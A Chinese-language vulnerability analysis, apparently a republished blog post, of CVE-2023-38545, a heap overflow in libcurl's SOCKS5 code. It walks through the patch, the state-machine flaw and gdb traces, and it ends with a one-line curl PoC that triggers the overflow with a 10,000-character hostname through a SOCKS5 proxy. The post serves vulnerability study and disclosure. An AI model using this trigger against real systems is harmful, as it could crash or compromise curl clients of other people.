文章发表于:
https://www.ch35tnut.site/zh-cn/vulnerability/cve-2023-38545-curl-heap-overflow/
也可以阅读原文直达。
基本信息
在libcurl中存在堆溢出漏洞,当libcurl通过socks5代理发送请求时,如果hostname大于255则会在本地解析,但由于状态机错误导致没有按照预期解析,而是把主机名拷贝到缓冲区中,攻击者可以通过构造超长主机名触发堆溢出。
影响版本
7.69.0 <= libcurl <= 8.3.4
环境搭建
sudo apt-get build-dep curl
autoreconf
./configure --with-openssl --prefix=$HOME/code/c/curl-8.3.0/build --enable-debug
make -j 16
make install
技术分析&调试
补丁
漏洞在fb4415d8aee6c1045be932a34fe6107c2f5ed147修复,修复代码如下
从修复代码中可以看出两个区别
-
当socks5_resolve_local=false and hostname_len >255 时返回CURLPX_LONG_HOSTNAME错误码,而原先逻辑为将socks5_resolve_local设为true
-
将hostname_len转为unsigned char后赋值给
socksreq[len++]
修复代码位于do_SOCKS5函数,该函数由connect_SOCKS函数调用
static CURLcode connect_SOCKS(struct Curl_cfilter *cf,
struct socks_state *sxstate,
struct Curl_easy *data)
{
......
switch(conn->socks_proxy.proxytype) {
case CURLPROXY_SOCKS5:
case CURLPROXY_SOCKS5_HOSTNAME:
pxresult = do_SOCKS5(cf, sxstate, data);
break;
向上追溯connect_SOCKS由socks_proxy_cf_connect调用,socks_proxy_cf_connect被存储在了一个结构体中
static CURLcode socks_proxy_cf_connect(struct Curl_cfilter *cf,
struct Curl_easy *data,
bool blocking, bool *done)
{
CURLcode result;
struct connectdata *conn = cf->conn;
int sockindex = cf->sockindex;
struct socks_state *sx = cf->ctx;
if(cf->connected) {
*done = TRUE;
return CURLE_OK;
}
result = cf->next->cft->do_connect(cf->next, data, blocking, done);
if(result || !*done)
return result;
if(!sx) {
sx = calloc(sizeof(*sx), 1);
if(!sx)
return CURLE_OUT_OF_MEMORY;
cf->ctx = sx;
}
if(sx->state == CONNECT_INIT) {
/* for the secondary socket (FTP), use the "connect to host"
* but ignore the "connect to port" (use the secondary port)
*/
sxstate(sx, data, CONNECT_SOCKS_INIT);
sx->hostname =
conn->bits.httpproxy ?
conn->http_proxy.host.name :
conn->bits.conn_to_host ?
conn->conn_to_host.name :
sockindex == SECONDARYSOCKET ?
conn->secondaryhostname : conn->host.name;
sx->remote_port =
conn->bits.httpproxy ? (int)conn->http_proxy.port :
sockindex == SECONDARYSOCKET ? conn->secondary_port :
conn->bits.conn_to_port ? conn->conn_to_port :
conn->remote_port;
sx->proxy_user = conn->socks_proxy.user;
sx->proxy_password = conn->socks_proxy.passwd;
}
result = connect_SOCKS(cf, sx, data);
struct Curl_cftype Curl_cft_socks_proxy = {
"SOCKS-PROXYY",
CF_TYPE_IP_CONNECT,
0,
socks_proxy_cf_destroy,
socks_proxy_cf_connect,
socks_proxy_cf_close,
socks_cf_get_host,
socks_cf_get_select_socks,
Curl_cf_def_data_pending,
Curl_cf_def_send,
Curl_cf_def_recv,
Curl_cf_def_cntrl,
Curl_cf_def_conn_is_alive,
Curl_cf_def_conn_keep_alive,
Curl_cf_def_query,
};
技术分析和动态调试
本次修复的函数do_SOCKS5实现了处理SOCKS5连接中的各个状态的代码,这个函数实现了一个状态机,状态机根据在socks连接中的不同状态进行不同操作,第一次调用do_SOCKS5时,socks5_resolve_local被初始化为 false,同时状态机状态为CONNECT_SOCKS_INIT
bool socks5_resolve_local =(conn->socks_proxy.proxytype == CURLPROXY_SOCKS5) ? TRUE : FALSE;
gef➤ p socks5_resolve_local
$5 = 0x0
函数进入CONNECT_SOCKS_INIT分支,由于传递给curl的主机名超长,大于255,进入if中,socks5_resolve_local被赋值为true,代表此时应该使用本地解析
switch(sx->state) {
case CONNECT_SOCKS_INIT:
if(conn->bits.httpproxy)
infof(data, "SOCKS5: connecting to HTTP proxy %s port %d",
sx->hostname, sx->remote_port);
/* RFC1928 chapter 5 specifies max 255 chars for domain name in packet */
if(!socks5_resolve_local && hostname_len > 255) {
infof(data, "SOCKS5: server resolving disabled for hostnames of "
"length > 255 [actual len=%zu]", hostname_len);
socks5_resolve_local = TRUE;
}
此时调用栈如下:
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── source:socks.c+595 ────
590 infof(data, "SOCKS5: server resolving disabled for hostnames of "
591 "length > 255 [actual len=%zu]", hostname_len);
592 socks5_resolve_local = TRUE;
593 }
594
// auth=0x5
→ 595 if(auth & ~(CURLAUTH_BASIC | CURLAUTH_GSSAPI))
596 infof(data,
597 "warning: unsupported value passed to CURLOPT_SOCKS5_AUTH: %u",
598 auth);
599 if(!(auth & CURLAUTH_BASIC))
600 /* disable username/password auth */
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "curl", stopped 0x7ffff7f4906d in do_SOCKS5 (), reason: SINGLE STEP
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
gef➤ p socks5_resolve_local
$6 = 0x1
gef➤ bt
#0 do_SOCKS5 (cf=0x5555555e6428, sx=0x5555555e6468, data=0x5555555e6ef8) at socks.c:573
#1 0x00007ffff7f4a137 in connect_SOCKS (cf=0x5555555e6428, sxstate=0x5555555e6468, data=0x5555555e6ef8) at socks.c:1067
#2 0x00007ffff7f4a3f1 in socks_proxy_cf_connect (cf=0x5555555e6428, data=0x5555555e6ef8, blocking=0x0, done=0x7fffffffb667) at socks.c:1149
#3 0x00007ffff7ed6635 in Curl_conn_cf_connect (cf=0x5555555e6428, data=0x5555555e6ef8, blocking=0x0, done=0x7fffffffb667) at cfilters.c:296
#4 0x00007ffff7edaa4d in cf_setup_connect (cf=0x5555555e6348, data=0x5555555e6ef8, blocking=0x0, done=0x7fffffffb667) at connect.c:1201
#5 0x00007ffff7ed68a1 in Curl_conn_connect (data=0x5555555e6ef8, sockindex=0x0, blocking=0x0, done=0x7fffffffb667) at cfilters.c:351
#6 0x00007ffff7f276b7 in multi_runsingle (multi=0x5555555dd868, nowp=0x7fffffffb6f0, data=0x5555555e6ef8) at multi.c:2106
#7 0x00007ffff7f28d94 in curl_multi_perform (multi=0x5555555dd868, running_handles=0x7fffffffb754) at multi.c:2742
#8 0x00007ffff7eeb1e6 in easy_transfer (multi=0x5555555dd868) at easy.c:682
#9 0x00007ffff7eeb3d4 in easy_perform (data=0x5555555e6ef8, events=0x0) at easy.c:772
#10 0x00007ffff7eeb40c in curl_easy_perform (data=0x5555555e6ef8) at easy.c:791
#11 0x000055555557a1f3 in serial_transfers (global=0x7fffffffb900, share=0x5555555d9f08) at tool_operate.c:2479
#12 0x000055555557a7c1 in run_all_transfers (global=0x7fffffffb900, share=0x5555555d9f08, result=CURLE_OK) at tool_operate.c:2670
#13 0x000055555557ab6c in operate (global=0x7fffffffb900, argc=0x7, argv=0x7fffffffba98) at tool_operate.c:2786
#14 0x00005555555710f8 in main (argc=0x7, argv=0x7fffffffba98) at tool_main.c:274
gef➤
在这状态下,curl会初始化一些SOCKS请求body并将其发送给socks server,而后将状态转为 CONNECT_SOCKS_READ_INIT
并跳转到对应代码处。
idx = 0;
socksreq[idx++] = 5; /* version */
idx++; /* number of authentication methods */
socksreq[idx++] = 0; /* no authentication */
if(allow_gssapi)
socksreq[idx++] = 1; /* GSS-API */
if(sx->proxy_user)
socksreq[idx++] = 2; /* username/password */
/* write the number of authentication methods */
socksreq[1] = (unsigned char) (idx - 2);
sx->outp = socksreq;
sx->outstanding = idx;
presult = socks_state_send(cf, sx, data, CURLPX_SEND_CONNECT,
......
sxstate(sx, data, CONNECT_SOCKS_READ);
goto CONNECT_SOCKS_READ_INIT;
在状态 CONNECT_SOCKS_READ_INIT
中,会赋值结构体成员而后将状态转为 CONNECT_SOCKS_READ
,curl会尝试从TCP连接中读取数据
case CONNECT_SOCKS_READ_INIT:
sx->outstanding = 2; /* expect two bytes */
sx->outp = socksreq; /* store it here */
/* FALLTHROUGH */
case CONNECT_SOCKS_READ:
presult = socks_state_recv(cf, sx, data, CURLPX_RECV_CONNECT,
"initial SOCKS5 response");
if(CURLPX_OK != presult)
return presult;
else if(sx->outstanding) {
/* remain in reading state */
return CURLPX_OK;
}
读取数据时,其调用栈如下
gef➤ bt
#0 cf_socket_recv (cf=0x5555555e6a28, data=0x5555555e6ef8, buf=0x5555555ddb48 "0501", len=0x2, err=0x7fffffffb3a4) at cf-socket.c:1352
#1 0x00007ffff7ed5d95 in Curl_cf_def_recv (cf=0x5555555e63e8, data=0x5555555e6ef8, buf=0x5555555ddb48 "0501", len=0x2, err=0x7fffffffb3a4) at cfilters.c:100
#2 0x00007ffff7ed6762 in Curl_conn_cf_recv (cf=0x5555555e63e8, data=0x5555555e6ef8, buf=0x5555555ddb48 "0501", len=0x2, err=0x7fffffffb3a4) at cfilters.c:328
#3 0x00007ffff7f4839a in socks_state_recv (cf=0x5555555e6428, sx=0x5555555e6468, data=0x5555555e6ef8, failcode=CURLPX_RECV_CONNECT, description=0x7ffff7f82254 "initial SOCKS5 response") at socks.c:241
#4 0x00007ffff7f49274 in do_SOCKS5 (cf=0x5555555e6428, sx=0x5555555e6468, data=0x5555555e6ef8) at socks.c:646
#5 0x00007ffff7f4a137 in connect_SOCKS (cf=0x5555555e6428, sxstate=0x5555555e6468, data=0x5555555e6ef8) at socks.c:1067
#6 0x00007ffff7f4a3f1 in socks_proxy_cf_connect (cf=0x5555555e6428, data=0x5555555e6ef8, blocking=0x0, done=0x7fffffffb667) at socks.c:1149
#7 0x00007ffff7ed6635 in Curl_conn_cf_connect (cf=0x5555555e6428, data=0x5555555e6ef8, blocking=0x0, done=0x7fffffffb667) at cfilters.c:296
#8 0x00007ffff7edaa4d in cf_setup_connect (cf=0x5555555e6348, data=0x5555555e6ef8, blocking=0x0, done=0x7fffffffb667) at connect.c:1201
#9 0x00007ffff7ed68a1 in Curl_conn_connect (data=0x5555555e6ef8, sockindex=0x0, blocking=0x0, done=0x7fffffffb667) at cfilters.c:351
#10 0x00007ffff7f276b7 in multi_runsingle (multi=0x5555555dd868, nowp=0x7fffffffb6f0, data=0x5555555e6ef8) at multi.c:2106
#11 0x00007ffff7f28d94 in curl_multi_perform (multi=0x5555555dd868, running_handles=0x7fffffffb754) at multi.c:2742
#12 0x00007ffff7eeb1e6 in easy_transfer (multi=0x5555555dd868) at easy.c:682
#13 0x00007ffff7eeb3d4 in easy_perform (data=0x5555555e6ef8, events=0x0) at easy.c:772
#14 0x00007ffff7eeb40c in curl_easy_perform (data=0x5555555e6ef8) at easy.c:791
#15 0x000055555557a1f3 in serial_transfers (global=0x7fffffffb900, share=0x5555555d9f08) at tool_operate.c:2479
#16 0x000055555557a7c1 in run_all_transfers (global=0x7fffffffb900, share=0x5555555d9f08, result=CURLE_OK) at tool_operate.c:2670
#17 0x000055555557ab6c in operate (global=0x7fffffffb900, argc=0x7, argv=0x7fffffffba98) at tool_operate.c:2786
#18 0x00005555555710f8 in main (argc=0x7, argv=0x7fffffffba98) at tool_main.c:274
让我们把代码放在一起看,在do_SOCKS5函数中,将 sx->outstanding
赋值为2,尝试调用 socks_state_recv
从TCP sock中读取两个字节的数据,经过层层调用最终进入到 nw_in_read
函数中,调用recv函数从sock中读取数据。
presult = socks_state_recv(cf, sx, data, CURLPX_RECV_CONNECT,
"initial SOCKS5 response");
if(CURLPX_OK != presult)
return presult;
else if(sx->outstanding) {
/* remain in reading state */
return CURLPX_OK;
}
static CURLproxycode socks_state_recv(struct Curl_cfilter *cf,
.....
{
ssize_t nread;
CURLcode result;
nread = Curl_conn_cf_recv(cf->next, data, (char *)sx->outp,
sx->outstanding, &result);
......
sx->outstanding -= nread;
return CURLPX_OK;
}
ssize_t Curl_conn_cf_recv(struct Curl_cfilter *cf, struct Curl_easy *data,
{
if(cf)
return cf->cft->do_recv(cf, data, buf, len, err);
*err = CURLE_RECV_ERROR;
return -1;
}
static ssize_t cf_socket_recv(struct Curl_cfilter *cf, struct Curl_easy *data,
char *buf, size_t len, CURLcode *err)
{
struct cf_socket_ctx *ctx = cf->ctx;
curl_socket_t fdsave;
ssize_t nread;
*err = CURLE_OK;
fdsave = cf->conn->sock[cf->sockindex];
cf->conn->sock[cf->sockindex] = ctx->sock;
......
else {
nread = nw_in_read(&rctx, (unsigned char *)buf, len, err);
......
return nread;
}
static ssize_t nw_in_read(void *reader_ctx,
unsigned char *buf, size_t len,
CURLcode *err)
{
struct reader_ctx *rctx = reader_ctx;
struct cf_socket_ctx *ctx = rctx->cf->ctx;
ssize_t nread;
*err = CURLE_OK;
nread = sread(ctx->sock, buf, len);
......
return nread;
}
#define sread(x,y,z) (ssize_t)recv((RECV_TYPE_ARG1)(x),
(RECV_TYPE_ARG2)(y),
(RECV_TYPE_ARG3)(z),
(RECV_TYPE_ARG4)(0))
根据RFC1928,服务器会在客户端发送hello包之后返回,选择通信方法后返回server hello client helloserver hello
正常情况下,socks服务器返回server hello之后,socks_state_recv读取了两个字节的数据并通过 sx->outstanding -= nread;
使得outstanding=0,之后在状态机内会继续处理socks连接,这个逻辑是正常的,不会出现问题。
但如果攻击者可控socks服务器,并强迫在服务器在client 发送hello之后,过了client 设置的sock timeout在返回数据包的话会怎么样?recv函数如果在setsockopt设置的超时时间内还没有从TCP连接读取到数据的话,则会返回-1,并且err被设置为CURLE_AGAIN ,在 socks_state_recv
函数中因为读取到的nread=-1,所以这个函数返回CURLPX_OK。
返回到状态机中,presult=CURLPX_OK,sx->outstanding=2,do_SOCKS5函数返回CURLPX_OK,因为没读数据,所以在easy.c中会继续循环。
static CURLcode easy_transfer(struct Curl_multi *multi)
{
bool done = FALSE;
CURLMcode mcode = CURLM_OK;
CURLcode result = CURLE_OK;
while(!done && !mcode) {
int still_running = 0;
mcode = curl_multi_poll(multi, NULL, 0, 1000, NULL);
if(!mcode)
mcode = curl_multi_perform(multi, &still_running);
/* only read 'still_running' if curl_multi_perform() return OK */
if(!mcode && !still_running) {
int rc;
CURLMsg *msg = curl_multi_info_read(multi, &rc);
if(msg) {
result = msg->data.result;
done = TRUE;
}
}
}
/* Make sure to return some kind of error if there was a multi problem */
if(mcode) {
result = (mcode == CURLM_OUT_OF_MEMORY) ? CURLE_OUT_OF_MEMORY :
/* The other multi errors should never happen, so return
something suitably generic */
CURLE_BAD_FUNCTION_ARGUMENT;
}
return result;
}
此时socks服务器返回数据的话,再次进入到do_SOCKS5函数,此时在函数开头socks5_resolve_local=false,进入到状态机中,由于此时状态不再是CONNECT_SOCKS_INIT,所以socks5_resolve_local不会被设置为true,此时在状态CONNECT_REQ_INIT时,状态机会跳转到状态CONNECT_RESOLVE_REMOTE,也就是curl尝试让socks服务器进行DNS解析并请求。
unsigned char *socksreq = (unsigned char *)data->state.buffer;
const size_t hostname_len = strlen(sx->hostname);
CONNECT_RESOLVE_REMOTE:
case CONNECT_RESOLVE_REMOTE:
/* Authentication is complete, now specify destination to the proxy */
len = 0;
socksreq[len++] = 5; /* version (SOCKS5) */
socksreq[len++] = 1; /* connect */
socksreq[len++] = 0; /* must be zero */
if(!socks5_resolve_local) {
......
memcpy(&socksreq[len], sx->hostname, hostname_len); /* w/o NULL */
......
}
/* FALLTHROUGH */
此时curl会尝试将主机名通过memcpy拷贝到tcp 请求体中,而socksreq指向的内存由Curl_preconnect分配
CURLcode Curl_preconnect(struct Curl_easy *data)
{
if(!data->state.buffer) {
data->state.buffer = malloc(data->set.buffer_size + 1);
if(!data->state.buffer)
return CURLE_OUT_OF_MEMORY;
}
return CURLE_OK;
}
在我的环境中可以看到最终的内存大小为0x8ce+1
gef➤ p data.set.buffer_size
$12 = 0x8ce
所以如果构造大于这个大小的hostname,在memcpy时就可以触发堆溢出。
PoC
curl --location --limit-rate 2254B --socks5-hostname 192.168.32.1:10808 $(python3 -c "print('A'*10000,end='')")
小结
在修复代码中,如果hostname超过255则会直接返回错误,而不再访问后面的状态机,直接阻断了调用链。虽然url的hostname没有长度规定,可以超过1024,但由于DNS解析最大只支持255字节的域名,所以在正常请求中不应该出现域名大于255的情况,从这个角度看此次修复方式也很合理。
从利用角度看这个漏洞,攻击者需要可以控制curl或libcurl使用的socks5代理,还需要控制传递给curl和libcurl的url,而后才能触发漏洞,表面看攻击者可以控制溢出的范围和内容,很可能通过堆溢出造成代码执行。但curl会通过url parser去验证url有效性,如果url无效则会产生错误,因此只当url合法时才会触发漏洞,也就是攻击者构造的url只能是ASCII字符的子集,综合上面的条件,这个漏洞利用难度极大,造成代码执行的几率很小。
考虑到大部分软件即使能控制url,但也不能控制让libcurl使用socks5代理,所以可以择期修复这个漏洞。
题外话
这个漏洞还让curl的作者难过了一下:It burns in my soul. 作者说,如果使用内存安全的语言重写curl的话,那这些漏洞就不会存在,当然在可预见的未来curl还是会用c开发,但目前可行的办法是逐渐使用内存安全的依赖项替代。
参考链接
https://curl.se/docs/CVE-2023-38545.html
https://daniel.haxx.se/blog/2023/10/11/how-i-made-a-heap-overflow-in-curl/
https://hackerone.com/reports/2187833
https://datatracker.ietf.org/doc/html/rfc1928
原文始发于微信公众号(闲聊趣说):CVE-2023-38545 Curl 堆溢出漏洞分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论